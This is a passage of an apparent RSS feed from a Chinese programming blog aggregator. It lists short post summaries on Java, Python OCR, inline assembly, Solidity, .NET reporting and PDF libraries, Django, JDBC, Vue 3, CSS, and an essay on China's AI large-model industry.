可以看到@After注解并不能获取到方法的返回值。这个时候我们需要的是@AfterReturning。&#xA;@Retention(RetentionPolicy.RUNTIME) @Target({ElementType.METHOD}) public @interface AfterReturning { String value() default &#34;</description>
    </item>
    <item>
      <title>paddle识别英文和数字python代码</title>
      <link>https://bchobby.github.io/posts/ae295ef709445d123317ba5aad78fcd8/</link>
      <pubDate>Wed, 03 Jan 2024 14:05:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae295ef709445d123317ba5aad78fcd8/</guid>
      <description>下载模型 https://github.com/PaddlePaddle/PaddleOCR/blob/release/2.7/doc/doc_ch/models_list.md#22-%E8%8B%B1%E6%96%87%E8%AF%86%E5%88%AB%E6%A8%A1%E5%9E%8B&#xA;number_model = PaddleOCR(lang=&#34;en&#34;,det_model_dir = &#39;xxx\en_PP-OCRv3_det_infer&#39;,rec_model_dir=r&#39;xxx\en_PP-OCRv3_rec_infer&#39;) number_result = number_model.ocr(img=r&#39;xxx.jpg&#39;) 效果：只能识别英文数字，如果图片有中文或者其他语言，会错误识别</description>
    </item>
    <item>
      <title>Linux C/C&#43;&#43; 获取CPUID</title>
      <link>https://bchobby.github.io/posts/309f3bbab52f3a72608a8e10133da227/</link>
      <pubDate>Wed, 03 Jan 2024 13:50:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/309f3bbab52f3a72608a8e10133da227/</guid>
      <description>实现方式：&#xA;INTEL CC 格式&#xA;AT^T CC 格式&#xA;GCC/C库 __cpuid 宏&#xA;大致讲义：&#xA;AT^T 格式汇编很反人类，GCC可以改编译器选项为INTEL内嵌汇编，但一般在GCC还是按照默认的AT^T汇编来拽写把，不想用也可以让AI工具把INTEL内嵌汇编转换为AT^T汇编（让 bard、gpt、bing 干这种反人类的活很好用），AT^T汇编格式没有学的必要，这是一个反人类的东西。&#xA;__asm__ __volatile__(&#xA;&#34;movl $0x00, %%eax\n\t&#34;&#xA;&#34;xorl %%edx, %%edx\n\t&#34;&#xA;&#34;cpuid\n\t&#34;&#xA;&#34;movl %%eax, %0\n\t&#34;&#xA;&#34;movl %%edx, %1\n\t&#34;&#xA;: &#34;=m&#34; (s1), &#34;=m&#34; (s2)&#xA;:&#xA;: &#34;%eax&#34;, &#34;%edx&#34;&#xA;);&#xA;汇编是一种面向地址标识符及通用寄存器编程的低级语言。&#xA;IL: 把立即数0移动到EAX寄存器，CPU参数（LEVEL，CPU内置指令函数取值范围0~1）&#xA;IL: 把EDX寄存器XOR（亦或）重置为0&#xA;IL: cpuid 指令（会推送值到EAX、EBX、ECX、EDX 四个寄存器之中，SN[4]）&#xA;IL: 把EAX寄存器的值复制给内链参数一（注意是压入是内存地址，%0 = s1变量）&#xA;IL: 把EDX寄存器的值复制给内链参数二（注意是压入是内存地址，%1 = s2变量）&#xA;声明内嵌所需要的寄存器与变量内存地址。&#xA;注解：&#xA;__asm__ __volatile__ ( &#34;movl $0x00, %%eax\n\t&#34; // 将立即数 0x00 移动到 eax 寄存器中 &#34;</description>
    </item>
    <item>
      <title>智能合约开发（1）</title>
      <link>https://bchobby.github.io/posts/dde752700eb1600f405a6fa36d73c161/</link>
      <pubDate>Wed, 03 Jan 2024 11:59:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dde752700eb1600f405a6fa36d73c161/</guid>
      <description>准备： 注册智能合约在线开发平台，用于solidity语言的智能合约开发。在浏览器上安装metamask钱包插件，并注册账号 以太坊智能合约平台地址：&#xA;https://remix.ethereum.org&#xA;4小时速成solidity开发教程&#xA;https://www.youtube.com/watch?v=AYpftDFiIgk&#xA;基础知识： 智能合约和python一样，也可以导入库，&#xA;以下是一些常用的智能合约库，&#xA;ERC-20（Ethereum Request for Comments 20）：是以太坊区块链上的一种通用标准，用于发行代币，规定了代币合约应该遵循的一些基本功能，包括代币的转账、余额查询、代币的总供应量等。但是随着发展发现ERC20功能仍不全面，缺少对代币地销毁等功能，因此需要与其他合约共同使用，如ERC20Burnable.sol&#xA;ERC-721：主要用于创建独特、不可替代的代币，通常被称为非同质化代币（NFTs，Non-Fungible&#xA;Tokens）。每一个ERC-721代币都有独一无二的属性，使其适用于代表数字资产、艺术品、游戏物品等具有唯一性的资产。&#xA;Ownable.sol：目的是为智能合约提供拥有者（Owner）的概念，并定义了与拥有者相关的权限控制机制，主要有三个功能，合约所有权确认，合约权限管理，合约所有权转移&#xA;库的导入地址： //导入ERC20 import &#34;@openzeppelin/contracts/token/ERC20/ERC20.sol&#34;; import &#34;@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol&#34;; import &#34;@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol&#34;; //导入erc721 import &#34;@openzeppelin/contracts/token/ERC721/ERC721.sol&#34;; //导入ownable.sol import &#34;@openzeppelin/contracts/access/Ownable.sol&#34;; 后续会写一个基于ERC20和ownable的代币例程，包括代币铸造，转账和销毁功能，并确保合约owner的权限，&#xA;预计1月7号更新在《智能合约开发（2）》里</description>
    </item>
    <item>
      <title>报表生成器FastReport .Net用户指南：带图表的报告（图表编辑器）</title>
      <link>https://bchobby.github.io/posts/1c590b2d4e2701d0a337080071138dbb/</link>
      <pubDate>Wed, 03 Jan 2024 11:37:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c590b2d4e2701d0a337080071138dbb/</guid>
      <description>FastReport .Net是一款全功能的Windows Forms、ASP.NET和MVC报表分析解决方案，使用FastReport .NET可以创建独立于应用程序的.NET报表，同时FastReport .Net支持中文、英语等14种语言，可以让你的产品保证真正的国际性。&#xA;FastReport.NET官方版下载https://www.evget.com/product/1861/download&#xA;&#34;Chart&#34;对象包含许多可在图表编辑器中处理的设置。要调用编辑器，请双击 &#34;Chart&#34;对象：&#xA;处理系列 &#34;Chart &#34;对象可以包含一个或多个系列。系列列表显示在编辑器中：&#xA;要添加新系列，请按 &#34;Add... &#34;按钮。您将看到 &#34;Gallery &#34;对话框：&#xA;择需要的类别，然后选择 - 需要的系列类型。如果想将序列放在自己的图表区域中，请选中 &#34;Add new chart area for this series &#34;复选框。对于某些系列类型（如饼图、圆图、金融图、金字塔图），无论复选框状态如何，都会自动添加新的图表区域。&#xA;要删除序列，请按 &#34;Delete &#34;按钮。要更改序列顺序，请使用 &#34;Up&#34;和 &#34;Down &#34;按钮。&#xA;设置外观 使用图表编辑器，您可以设置每个图表元素的外观。所有属性（超过 100 个）分为几类。其中一些是 &#34;Chart &#34;对象特有的，而另一些则系列的一部分。&#xA;如果从系列列表中选择 &#34;Chart &#34;对象，则会看到以下属性页面：&#xA;&#34;Appearance&#34; - 图表的边框和填充；&#34;Chart area&#34; - 边框、填充、阴影；&#34;3D&#34; - 3D 设置；&#34;Axes&#34;- 设置轴的外观、标题、标签、网格、标记、自定义标签和条带；&#34;Legend&#34; --图例样式、停靠、边框、填充、阴影和字体；&#34;Title&#34;- 标题、停靠、边框、填充、阴影和字体的样式。 如果从系列列表中选择系列对象，则会看到以下属性页面：&#xA;&#34;Appearance&#34;--针对所选系列类型的一些特定设置；&#34;Fill &amp;amp; border&#34;--系列值的填充和边框；&#34;Labels&#34;--系列标签。您可以选择标签类型、字体、颜色和填充；&#34;Markers&#34;--系列标记。可以选择标记类型、颜色和边框。 连接图表和数据 您可以通过多种方式在图表中填充数据：&#xA;使用数据源。为 &#34;Chart &#34;对象指明数据源，并将每个系列连接到数据列。每个系列使用固定。使用脚本为对象填充数据。 要将图表连接到数据源，请按照以下步骤操作：&#xA;在系列列表中选择 &#34;Chart &#34;对象；切换到 &#34;Data&#34;选项卡；选择数据源： 设置数据筛选表达式。该过滤器将应用于所有图表系列；在系列列表中选择系列；切换到 &#34;</description>
    </item>
    <item>
      <title>PDF控件Spire.PDF for .NET【安全】演示：获取并验证 PDF 中的数字签名</title>
      <link>https://bchobby.github.io/posts/d39376d359e2ec776954dc82de5cd9f1/</link>
      <pubDate>Wed, 03 Jan 2024 11:35:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d39376d359e2ec776954dc82de5cd9f1/</guid>
      <description>在 PDF 中创建数字签名广泛用于保护 PDF 文件。因此，当您查看一些带有数字签名的PDF文件时，需要获取并验证数字签名。本文向您展示了一种通过使用Spire.PDF和 C# 代码来获取和验证 PDF 中的数字签名的解决方案。&#xA;Spire.PDF for .NET 是一款独立 PDF 控件，用于 .NET 程序中创建、编辑和操作 PDF 文档。使用 Spire.PDF 类库，开发人员可以新建一个 PDF 文档或者对现有的 PDF 文档进行处理，且无需安装 Adobe Acrobat。&#xA;E-iceblue 功能类库Spire 系列文档处理组件均由中国本土团队研发，不依赖第三方软件，不受其他国家的技术或法律法规限制，同时适配国产操作系统如中科方德、中标麒麟等，兼容国产文档处理软件 WPS（如 .wps/.et/.dps 等格式&#xA;Spire.PDF for.net下载 Spire.PDF for java下载&#xA;确保 Spire.PDF for .NET（版本 2.9 或更高版本）已正确安装。在下载的 Bin 文件夹中添加 Spire.PDF.dll 作为参考，路径如下：“..\Spire.PDF\Bin\NET4.0\ Spire.PDF.dl”。&#xA;下面是如何获取和验证数字签名的C#代码片段：&#xA;加载带有数字签名的 PDF 文件。&#xA;string filename = @&#34;..\..\DigitalSignature.pdf&#34;; 获取 PDF 中的所有签名：&#xA;[C#]&#xA;List&amp;lt;PdfSignature&amp;gt; signatures = new List&amp;lt;PdfSignature&amp;gt;(); PdfDocument doc = new PdfDocument(filename); PdfFormWidget form = (PdfFormWidget)doc.</description>
    </item>
    <item>
      <title>Django评论系统</title>
      <link>https://bchobby.github.io/posts/74c21c419bf85bc384f9cd23231eb5c8/</link>
      <pubDate>Wed, 03 Jan 2024 10:19:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74c21c419bf85bc384f9cd23231eb5c8/</guid>
      <description>目录&#xA;创建评论模型&#xA;将新模型添加到管理站点&#xA;创建一个表单来提交评论和验证输入数据 显示评论总数和评论列表&#xA;创建评论表单，当表单成功提交时，显示一条成功消息&#xA;创建评论模型 blog/models.py&#xA;class Comment(models.Model): post = models.ForeignKey(Post,on_delete=models.CASCADE,related_name=&#39;comments&#39;) name = models.CharField(max_length=80) email = models.EmailField() body = models.TextField() created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) active = models.BooleanField(default=True) class Meta: ordering = (&#39;created&#39;,) def __str__(self): return &#39;Comment by {} on {}&#39;.format(self.name, self.post) 📌related_name让我们可以使用属性命名相互关联的对象。通过Post.comments.all()检索文章所有评论。如果没有定义related_name属性，Django将使用小写的模型名，后面跟着_set （comment_set)&#xA;更新数据库&#xA;python .\\manage.py makemigrations blog python .\\manage.py migrate&#xA;将新模型添加到管理站点 from .models import Post,Comment #... @admin.register(Comment) class CommentAdmin(admin.ModelAdmin): list_display = (&#39;name&#39;,&#39;email&#39;,&#39;post&#39;,&#39;created&#39;,&#39;active&#39;) list_filter = (&#39;active&#39;,&#39;created&#39;,&#39;updated&#39;) search_fields = (&#39;name&#39;,&#39;email&#39;,&#39;body&#39;) 模型关联 API 用法示例 | Django 文档 | Django (djangoproject.</description>
    </item>
    <item>
      <title>后端开发——jdbc的学习（一）</title>
      <link>https://bchobby.github.io/posts/f82610f3f22470c6acdc2cac18a45e3e/</link>
      <pubDate>Wed, 03 Jan 2024 10:17:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f82610f3f22470c6acdc2cac18a45e3e/</guid>
      <description>上篇结束了Mysql数据库的基本使用，本篇开始对JDBC进行学习总结，开始先简单介绍jdbc的基本使用，以及简单的练习；后续会继续更新！以下代码可以直接复制到idea中运行，便于理解和练习。 JDBC的概念&#xA;JDBC（Java DataBase Connectivity：java数据库连接）是一种用于执行SQL语句的Java API，可以为多种关系型数据库提供统一访问，它是由一组用Java语言编写的类和接口组成的。&#xA;JDBC的作用：可以通过java代码操作数据库&#xA;JDBC的本质&#xA;JDBC实质上是java官方提供的一套规范(接口)。用于帮助开发人员快速实现不同关系型数据库的连接！&#xA;代码一： import com.mysql.cj.jdbc.Driver; import java.sql.*; //TODO 简单练习感受jdbc： public class data_test1 { public static void main(String[] args) throws SQLException { //1.注册驱动： DriverManager.registerDriver(new Driver()); //2.获取连接：（桥梁） // java程序需要和数据库建立连接； 需要调用getConnection方法，并且需要填入连接数据库的基本信息：数据库ip地址，数据库端口号；账号；密码；连接数据库的名称； //该方法第一个参数：url；第二个参数:username;第三个参数：password； Connection connection = DriverManager.getConnection(&#34;jdbc:mysql://127.0.0.1:3306/atguigudb&#34;, &#34;root&#34;, &#34;dir99&#34;); //3.创建statement（创建将sql语句传入mysql的载具） Statement statement=connection.createStatement(); //4.发送sql语句，并且获取返回结果： String sql=&#34;select *from jobs;&#34;; ResultSet resultSet = statement.executeQuery(sql); //5.将结果进行解析： //先看看有没有下一行数据，有就可以获取： while(resultSet.next()){ String job_id = resultSet.getString(&#34;job_id&#34;); String job_title = resultSet.getString(&#34;job_title&#34;); int min_salary = resultSet.getInt(&#34;min_salary&#34;); int max_salary = resultSet.</description>
    </item>
    <item>
      <title>Vue 3 中的 watch 函数：实战指南</title>
      <link>https://bchobby.github.io/posts/c86f3dcd3b83ee31b3e1bcb1d55ee454/</link>
      <pubDate>Wed, 03 Jan 2024 10:14:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c86f3dcd3b83ee31b3e1bcb1d55ee454/</guid>
      <description>Vue.js 是一个功能丰富的前端框架，它允许开发者以声明式的方式创建动态和反应式的用户界面。Vue 3 引入的 Composition API 增强了代码的组织和复用，其中 watch 函数是一个非常有用的特性。本文将通过一系列的示例，展示如何在 Vue 3 应用程序中使用 watch 函数来监控数据变化。&#xA;监控响应式引用（ref） 响应式引用是 Vue 3 中最基本的响应式特性之一。下面的例子演示了如何监控一个响应式引用的变化：&#xA;import { ref, watch } from &#39;vue&#39;; export default { setup() { const count = ref(0); watch(count, (newCount, oldCount) =&amp;gt; { console.log(`Count changed from ${oldCount} to ${newCount}`); if (newCount === 10) { alert(&#39;Count reached 10!&#39;); } }); return { count }; } }; 在这个例子中，每当 count 的值变化时，watch 回调就会执行，并打印出新旧值。&#xA;监控响应式对象（reactive） reactive 提供了一个更复杂的响应式状态管理。下面的例子展示了如何监控一个响应式对象的属性变化：</description>
    </item>
    <item>
      <title>[C#]基于deskew算法实现图像文本倾斜校正</title>
      <link>https://bchobby.github.io/posts/bd54ab917060caca01b0b33049812227/</link>
      <pubDate>Wed, 03 Jan 2024 10:11:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd54ab917060caca01b0b33049812227/</guid>
      <description>【算法介绍】&#xA;让我们开始讨论Deskeweing算法的一般概念。我们的主要目标是将旋转的图像分成文本块，并确定它们的角度。为了让您详细了解我将使用的方法：&#xA;照常-将图像转换为灰度。应用轻微的模糊以减少图像中的噪点。现在，我们的目标是找到带有文本的区域，即图像的文本块。为了使文本块检测更容易，我们将反转并最大化图像的颜色，这将通过阈值化来实现。因此，现在文本变为白色（恰好为255,255,255白色），而背景为黑色（同样为0,0,0黑色）。要查找文本块，我们需要合并该块的所有打印字符。我们通过膨胀（扩展白色像素）来实现。在X轴上使用较大的内核可以消除单词之间的所有空间，而在Y轴上使用较小的内核可以将彼此之间的一个块的行混合在一起，但保持文本块之间的较大间隔不变。现在，用最小面积矩形包围轮廓的简单轮廓检测将形成我们需要的所有文本块。确定倾斜角度的方法有很多种，但我们将坚持简单的方法-使用最大的文本块并使用其角度。 【效果展示】&#xA;【实现部分代码】&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace FIRC { public partial class Form1 : Form { Bitmap src = null; public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.Filter = &#34;图文件(*.*)|*.jpg;*.png;*.jpeg;*.bmp&#34;; openFileDialog.RestoreDirectory = true; openFileDialog.Multiselect = false; if (openFileDialog.ShowDialog() == DialogResult.OK) { src = new Bitmap(openFileDialog.</description>
    </item>
    <item>
      <title>“百模大战”打响，AI大模型彻底引爆应用新浪潮？</title>
      <link>https://bchobby.github.io/posts/6764ad13c37e57f8ff19f6481d33d2fc/</link>
      <pubDate>Wed, 03 Jan 2024 08:21:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6764ad13c37e57f8ff19f6481d33d2fc/</guid>
      <description>文章目录 每日一句正能量前言“百模大战”：内卷已然来袭AI+提速，引爆应用新浪潮后记 每日一句正能量 告别以前的不如意，挥手迈步走向世界。&#xA;前言 AI大模型时代，正加速而至。&#xA;对于很多科技巨头、独角兽企业而言，如果没有涉足AI领域，似乎就要被时代车轮所狠狠碾过。而最能证明自身投入时代洪流的，自然就是推出AI大模型。纵览当下的行业发展态势，在极短的时间内国内已经涌现130+AI大模型，且依据实力、方向、侧重等不同，也出现了垂直细分的现象。&#xA;这场突如其来、全面打响的“百模大战”来势汹汹，既考验科技、互联网企业的技术底蕴，又带来新的挑战：如何不再对着空气“画大饼”，力争在应用层面一马当先？在这样的集体思考下，AI应用即将进入大爆发时代。&#xA;我们能够看到，基于AI大模型，生成式AI应用的细分赛道在不断开辟或扩充。AI+办公软件、AI+创意工具、AI+企业服务、AI+网络安全、AI+金融以及医疗、教育等，处于日新月异的发展态势中。可以预见的是，这波新浪潮将有着深远影响！&#xA;“百模大战”：内卷已然来袭 近段时间，国内有关AI大模型的重磅消息接踵而至。&#xA;比如在8月31日，有11家国产大模型陆续通过《生成式人工智能服务管理暂行办法》备案，并陆续向全社会公众开放服务。简单来说，之前多款大模型主要是在进行内测，而现在通过备案后，无论是企业还是个人都可以放心使用。&#xA;这11家国产大模型都是目前国内的翘楚，包括百度的文心一言、抖音的云雀大模型、中科院的紫东太初、商汤科技的商量SenseChat、华为的盘古大模型、腾讯的混元大模型、科大讯飞的星火大模型等。而从目前看，它们基本上都已经开放。&#xA;可以说，2023年8月31日在国产大模型发展史上，是一个值得铭记的关键时间节点。因为从这一天开始，属于国产AI大模型的“命运齿轮”真正转动起来了！&#xA;此外，第二批备案的大模型也在加速推进中。9月1日，国家互联网信息办公室发布了《关于第二批深度合成服务算法备案的信息公告》。该公告显示，第二批深度合成服务共计110个算法信息完成备案。&#xA;国产大模型的开放，有着重要意义。百度创始人李彦宏曾提到，当文心一言向数以亿计的互联网用户大规模开放服务后，就能够获得大量真实世界中的人工反馈，这将进一步改进基础模型，并以更快速度迭代。对于其他国产大模型来说，开放自然也有着同样的功效。&#xA;面向未来，随着国产大模型的开放，“百模大战”将更为激烈。要知道的是，现在虽然国产大模型领域看起来AI大模型数量众多，但都尚未真正经受市场规则的洗礼，仍处于跑马圈地、格局还未完全形成的阶段，这也意味着一切都有可能。&#xA;从数据层面看，从去年至今，国内已经发生了接近100起以上的大模型行业的融资案例。从整个产业的投入估值来说，2023年这个行业新增投入大概在150亿元到200亿元。而从长远来看，海量投入是非常值得的。据大模型之家的测算，预计到2023年，全球大模型市场规模将达到210亿美元，到2028年，其规模将达到1095亿美元。&#xA;面对充满光明的未来，入局AI大模型的玩家在尘埃落定前，肯定会全情投入其中，试图从红海中杀出，成为最后的胜利者。这也能够看出，内卷是不可避免的，甚至已然来临！&#xA;盘古智库高级研究员江瀚对于国产大模型领域眼下的竞争局面，给出了自己的见解。在他看来，多家大模型通过备案代表了市场在合规的同时也保留了充分的竞争。国产大模型领域的多元化属性依然非常明显，这是符合当前市场发展初级阶段的一个状况。&#xA;国产大模型，百花齐放。通用大模型、行业大模型、垂直大模型……各大科技、互联网企业纷纷选择最擅长的模型类型起跑，竞争就此变得激烈。而这样的竞争、内卷，对于行业、大众等来说，显然都是有所裨益的。&#xA;即使未来随着洗牌期的到来，也不可能出现一家AI大模型一统天下的局面，还是会呈现群雄逐鹿的态势。只是有的AI大模型会聚焦在细分市场，追求“小而美”。&#xA;AI+提速，引爆应用新浪潮 必须要知道的是，AI大模型是生成式AI的核心。而种类多样且性能各异的AI大模型，能够激发生成式AI的潜力，让广阔的应用生态随之而至。&#xA;如果说AI大模型是一个基础设施，那么在它之上可以孵化更多专业领域的垂直模型，为各行各业的数字化转型服务。而随着国产大模型的全面成熟和开放，也为公众带来更多选择和可能。企业和大众可以尝试通过生成式AI，来探索新的应用场景，来对企业发展、日常生活和工作带来革新和机遇。&#xA;对此，百度集团副总裁、深度学习技术及应用国家工程研究中心副主任吴甜也表示，“AI大模型百花齐放的现象表明了一个趋势，即生成式AI在未来可能会对产业结构以及社会带来深刻的影响。现在只是刚刚拉开帷幕，AI对产业的渗透正在加深。”毋庸置疑的是，生成式AI将推动全球生产力革新与商业模式重塑。&#xA;直观体现是，AI+在提速，融入各个细分赛道中。尤其是AI+办公软件、AI+创意工具、AI+企业服务、AI+网络安全、AI+金融以及医疗、教育等，正在成为重点的新兴成长赛道。&#xA;以AI+医疗为例，根据市场研究咨询公司MarketsandMarkets预测，到2025年，全球医疗大模型市场规模将达到38亿美元，而到2030年，这一数字将超过100亿美元。商汤科技、科大讯飞、京东、百度、腾讯等巨头，万达信息、微脉、叮当健康等互联网科技公司，都高度关注AI+医疗，并有着大动作。&#xA;比如，商汤科技发布了升级版“SenseCare智慧医院”综合解决方案，打造了医疗大模型应用新范式。腾讯健康则在9月8日公布医疗大模型,全新发布智能问答、家庭医生助手、数智医疗影像平台等多场景AI产品矩阵。百度也在9月19日，正式发布国内首个“产业级”医疗大模型——灵医大模型，并宣布面向大健康上下游产业开放。&#xA;面向AI+办公，则有不少企业入局。如，在9月5日，金山办公官方宣布WPSAI正式面向社会开放，AI能力将率先应用在WPS智能文档中，更多WPS AI能力将在其他组件中开放。科大讯飞甚至在旗下的智能办公本等产品上以星火大模型赋能，展现出AI提升工作效率的魅力。&#xA;至于AI+教育，也是生成式AI扮演重要角色的阵地。比如相对于其他聚焦教育C端的同侪，百度另辟蹊径。就在9月15日，百度营销重磅发布首个AIGC教育行业营销解决方案，包括“轻舸”“擎舵”“商家bot”三大营销工具和“课效通”“教育商机宝”两大创新产品，旨在为教育行业广告营销全链路提质增效。&#xA;当然，生成式AI实际上已经在千行百业成功落地，成为行业革新的催化剂。整体来看，生成式AI应用按应用领域可以分为：工具、通用软件、行业软件、智能硬件四大类。&#xA;其中，工具主要包括聊天机器人、搜索引擎、文本工具、Al作画以及代码工具等，应用领域主要集中在C端，同质化程度较高，对底层模型的能力存在高度依赖。通用软件则主要涵盖办公软件、企业服务、IT运维、软件开发、网络安全、数据智能等，各个赛道上均已出现标杆产品，大多数是智能助理的形态，即将迈入商业化落地的关键阶段。&#xA;行业软件则涉及金融、医疗、教育、工业、游戏、法律等多个行业，且行业间差异化程度较大，未来对行业数据价值的充分挖掘是竞争关键。智能硬件包括汽车、机器人、智能终端等，当前的瓶颈在于感知层与决策层，仍需进一步突破。&#xA;在国产大模型愈发展现出巨大潜力时，2023年注定是生成式AI在应用层面的突破之年。生成式AI为许多行业带来的可能性，充满无限想象。不断演变、进化的生成式AI，将通过持续创新让千行百业焕发新生机，实现蓬勃发展。&#xA;后记 我对于“百模大战”的全过程感到非常兴奋和激动。从开始的预热到最后的打响，这场战役确实彻底引爆了AI大模型的应用新浪潮。&#xA;在这场战争中，各家企业纷纷投入了大量资源和精力，竞相展示自己的AI大模型的能力和潜力。他们通过推出各种创新的应用场景，向我们展示了AI大模型的广泛适用性和强大的性能。不论是自然语言处理、计算机视觉还是智能推荐等领域，AI大模型都带来了革命性的进展。&#xA;在这个过程中，我们看到了AI大模型不仅能够更准确地理解和生成自然语言，还能够更好地识别和理解图片和视频。它们还能够通过学习用户的兴趣和偏好，为用户提供更加个性化的推荐服务。这些都为我们的生活和工作带来了巨大的便利和效益。&#xA;然而，这场战争也让我们看到了AI大模型的一些挑战和问题。首先是AI大模型消耗大量的计算资源和能源，在训练和推理过程中需要庞大的算力支持。其次是AI大模型需要大量的数据进行训练，但是数据的获取和处理也面临着一些法律和隐私的限制。此外，AI大模型在处理一些复杂和具有挑战性的任务时，仍然存在一定的误判和错误。&#xA;总的来说，这场“百模大战”让我们看到了AI大模型的巨大潜力，并且在推动AI技术的发展和应用方面起到了积极的推动作用。虽然还有一些问题需要解决，但是相信随着技术的不断进步和完善，AI大模型将会在各个领域展现出更加广阔的应用前景。&#xA;转载自：https://blog.csdn.net/u014727709/article/details/134986211&#xA;欢迎 👍点赞✍评论⭐收藏，欢迎指正</description>
    </item>
    <item>
      <title>CSS属性的计算过程和层叠规则总结</title>
      <link>https://bchobby.github.io/posts/c04abeeb123cb57538b6f73438ec6b18/</link>
      <pubDate>Wed, 03 Jan 2024 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c04abeeb123cb57538b6f73438ec6b18/</guid>
      <description>✨ 专栏介绍 HTML/CSS专栏合集是一个涵盖HTML和CSS两个方面的栏目。HTML是一种标记语言，用于创建网页的结构和内容，而CSS是一种样式表语言，用于控制网页的外观和布局。&#xA;在HTML/CSS专栏合集中，我们将深入探讨HTML和CSS的基础知识和高级技术。我们将介绍HTML的标签、元素和属性，以及如何使用它们来构建网页结构。同时，我们还将讨论CSS的选择器、属性和样式规则，以及如何使用它们来美化网页并实现各种布局效果。&#xA;通过阅读HTML/CSS专栏合集，您将学习如何创建语义化的HTML结构、优化网页性能、响应式设计、动画效果等。我们还将分享一些实用的技巧和最佳实践，帮助您提高编写高质量HTML/CSS代码的能力。&#xA;文章目录 ✨ 专栏介绍CSS属性的计算过程确定声明值层叠冲突使用继承使用默认值 CSS的层叠规则1. 重要性（Importance）2. 专用性（Specificity）3. 源代码次序（Source Order） CSS伪类书写顺序😶 写在结尾 CSS属性的计算过程 总的来讲，属性值的计算方法有下面 4 种，这也是属性值的计算顺序：&#xA;确定声明值层叠冲突使用继承使用默认值 确定声明值 在CSS中，可以通过选择器来选择要应用样式的元素，然后通过声明来设置样式。当多个选择器选择同一个元素时，会根据优先级来确定最终的声明值。优先级由高到低分别是：&#xA;!important &amp;gt; 行内样式 &amp;gt; ID选择器 &amp;gt; 类选择器/属性选择器/伪类选择器 &amp;gt; 元素选择器/伪元素选择器。&#xA;如果优先级相同，则后面的声明会覆盖前面的声明。&#xA;举例说明：&#xA;&amp;lt;style&amp;gt; p { color: blue; } .highlight { color: red; } &amp;lt;/style&amp;gt; &amp;lt;p class=&#34;highlight&#34;&amp;gt;Hello, World!&amp;lt;/p&amp;gt; 在上面的例子中，p元素同时被p选择器和.highlight类选择器选中，但是.highlight类选择器具有更高的优先级，所以最终p元素的颜色为红色。&#xA;层叠冲突 当多个样式规则具有相同的优先级时，就会发生层叠冲突。层叠冲突可以通过以下几个因素来解决：重要性、特殊性和源代码顺序。&#xA;重要性：可以使用!important声明来提高样式规则的优先级。具有!important声明的样式规则将覆盖其他具有相同优先级的样式规则。&#xA;特殊性：特殊性是根据选择器的组合来计算的。选择器中包含的ID选择器的数量越多，特殊性越高。特殊性相同的情况下，后面出现的样式规则将覆盖前面出现的样式规则。&#xA;源代码顺序：如果两个样式规则具有相同的优先级和特殊性，则后面出现的样式规则将覆盖前面出现的样式规则。&#xA;举例说明：&#xA;&amp;lt;style&amp;gt; p { color: blue; } p { color: red; } &amp;lt;/style&amp;gt; &amp;lt;p&amp;gt;Hello, World!&amp;lt;/p&amp;gt; 在上面的例子中，两个p选择器具有相同的优先级和特殊性，但是后面出现的样式规则会覆盖前面出现的样式规则，所以最终p元素的颜色为红色。</description>
    </item>
    <item>
      <title>六年Android开发面试竟被Framework 知识点难到？</title>
      <link>https://bchobby.github.io/posts/9e3b178316c8c500ca4ef838be62906e/</link>
      <pubDate>Wed, 03 Jan 2024 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e3b178316c8c500ca4ef838be62906e/</guid>
      <description>最近有位在阿里担任P7级别Android研发的工程师跳槽至腾讯面试，原以为凭借自己十年的开发经验能够顺利通过，却没想到在面试中遭遇了滑铁卢。经过沟通了解，问题主要出在他对Framework知识的掌握不够深入。&#xA;Framework知识在Android开发中具有极其重要的地位。如今热门的Android技术，如热修复、插件化等，都需要深入理解Activity启动流程和与AMS（Activity Manager Service）的交互机制。此外，对于性能优化、兼容性问题解决以及系统更新带来的挑战，Framework知识也是不可或缺的。&#xA;例如，在Handler、MessageQueue和Looper等核心组件的源码中，就隐藏着许多关于Android运行机制的秘密。理解这些底层原理，有助于更好地排查卡顿问题，优化应用性能。&#xA;此外，对于Android的卡顿掉帧问题，仅仅知道主线程耗时是原因之一是远远不够的。实际上，RenderThread耗时、Binder通信耗时等其他因素也可能导致卡顿。真正掌握了卡顿的原理，在面对问题时才能更加从容不迫。&#xA;现在的面试难度越来越大，无论是大厂还是中小公司，对于底层原理的掌握要求都非常高。尤其是与Framework层相关的知识，更是面试中的重点。对于想要在Android开发领域有所建树的小伙伴们来说，深入掌握Framework知识已经成为了必备技能。&#xA;像下面这些面试题就全是高频问题，来看看自己能不能全答上来：&#xA;什么是Handler？它在Android中有什么作用？Handler的工作原理是什么？它如何与MessageQueue和Looper相关联？如何在Handler中发送和接收消息/Runnable？什么是Message、Runnable和Callback？它们之间有什么区别？Handler有几种类型？各自的使用场景是什么？HandlerThread是什么？它与普通线程有什么区别？如何使用Handler进行异步通信和处理任务？Handler有哪些常用的方法？它们的作用是什么？如何使用Handler来更新UI？在Handler中如何处理内存泄漏问题？ 既然知道经常会碰到这些问题，那么我们该怎么答才可以获得面试官的青睐呢？&#xA;为了帮助大家更快更好的掌握其中原理，面试畅通无阻，这里特意问到一份阿里内部的《Android Framework源码开发揭秘》&#xA;由于文档内容过多，因此为了避免影响到大家的阅读体验，在此只以截图展示部分内容，详细完整版的看文末有免费的获取方式！（文末还有使用ChatGPT机器人小福利哦！！大家不要错过）&#xA;《Android Framework源码开发揭秘》 